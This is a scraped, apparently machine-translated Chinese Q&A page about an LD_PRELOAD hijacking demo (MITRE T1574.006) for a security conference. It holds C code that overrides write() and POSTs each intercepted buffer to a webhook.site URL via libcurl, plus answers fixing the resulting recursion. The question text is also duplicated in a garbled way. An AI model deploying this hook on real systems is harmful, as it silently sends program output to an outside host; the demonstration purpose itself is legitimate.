libcurl和LD_预加载
为了在安全会议上演示Mitre ATT&CK ID T1574.006,我正在创建一个使用LD_PRELOAD的程序的小示例。大部分情况下我都可以使用它,但是我遇到的一个问题是在演示中使用libcurl。当我在这里使用示例POST代码时:我的程序一直循环,直到我终止它,并且不发布任何数据 如果有人能给我指出正确的方向,我将不胜感激。基本上,我要做的是在返回标准写函数之前将数据发布到站点 代码如下: main.clibcurl和LD_预加载,c,libcurl,ld-preload,C,Libcurl,Ld Preload,为了在安全会议上演示Mitre ATT&CK ID T1574.006,我正在创建一个使用LD_PRELOAD的程序的小示例。大部分情况下我都可以使用它,但是我遇到的一个问题是在演示中使用libcurl。当我在这里使用示例POST代码时:我的程序一直循环,直到我终止它,并且不发布任何数据 如果有人能给我指出正确的方向,我将不胜感激。基本上,我要做的是在返回标准写函数之前将数据发布到站点 代码如下: main.c #include <unistd.h> #include <str
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
const char *msg = "Hello write\n";
// 1 writes to stdout file descriptor
write(1, msg, strlen(msg));
return 0;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {
CURL *curl;
CURLcode res;
/* In windows, this will init the winsock stuff */
curl_global_init(CURL_GLOBAL_ALL);
char testData[500];
strcpy(testData, "testData=");
strcat(testData, postData);
printf("%s\n", testData);
/* get a curl handle */
curl = curl_easy_init();
if(curl) {
/* First set the URL that is about to receive our POST. This URL can
just as well be a https:// URL if that is what should receive the
data. */
curl_easy_setopt(curl, CURLOPT_URL, "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
/* Now specify the POST data */
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, testData);
/* Perform the request, res will get the return code */
res = curl_easy_perform(curl);
/* Check for errors */
if(res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
/* always cleanup */
curl_easy_cleanup(curl);
}
curl_global_cleanup();
}
ssize_t write(int fd, const void *buf, size_t count) {
char *p = (char *)buf;
printf("From main: %s\n", p);
postData(p);
// Look up the next write symbol
ssize_t (*orig_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");
return orig_write(fd, buf, count);
}
postData
可以进行write
调用(例如在postData
中进行的printf
和fprintf
调用)。由于write
被拦截,它从postData
调用被拦截的write
函数……然后再次转到postData
并继续。所以“循环”就是这样发生的
您需要确保postData
中没有调用write
。如果你真的需要打印一些东西,你必须用另一种方式。您可以改为使用syscall
(Linux)
如果任何
curl.*
函数碰巧调用write
的话,同样的情况也会发生在它们身上。如果有人回到这里,我最终使用了unsetenv
,这就解决了我的问题谢谢!这完全有道理。当我把这些放在一起的时候,从来没有考虑过。我还在读LD_预装的资料。您知道我是否希望避免这种行为是派生子进程,然后在子进程中使用unsetenv的最佳方案吗?我认为在postData
调用write
中确保没有任何问题(您可以通过检查curl代码轻松验证这一点)fork
方法也很好,但如果您要为每个write
调用使用fork,则效率不高。另外,在分叉之前,您需要unsetenv
(因为一旦write
解析到被拦截的调用,unsetenv就无法更改任何内容)。
TARGET = example_6
all: main.c
gcc main.c -g -o ${TARGET}
gcc -shared -g -fPIC inject.c -o inject.so -ldl
run:
LD_PRELOAD=./inject.so ./${TARGET}
syscall(SYS_write, STDOUT_FILENO, testData, strlen(testData));